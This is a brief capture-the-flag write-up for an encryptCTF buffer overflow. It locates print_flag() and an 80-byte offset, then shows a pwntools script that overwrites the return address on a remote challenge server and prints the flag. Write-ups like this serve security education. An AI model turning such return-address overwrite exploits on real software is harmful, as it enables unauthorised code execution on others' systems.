This challenge was a classic buffer overflow. All was required was the overwriting of the the return addr.
By analysing the binary we find the address for print_flag()
0x080484dd print_flag
And using gdb to find the offset
1095385409 found at offset: 80
This together gives us this exploit code
from pwn import *
r = remote('104.154.106.182', 1234)
# Payload creation
junk = b'A' * 80
print_flag = p32(0x80484dd)
payload = junk + print_flag
r.recvuntil("josh?")
r.sendline(payload)
r.interactive()FLAG: encryptCTF{L3t5_R4!53_7h3_J05H}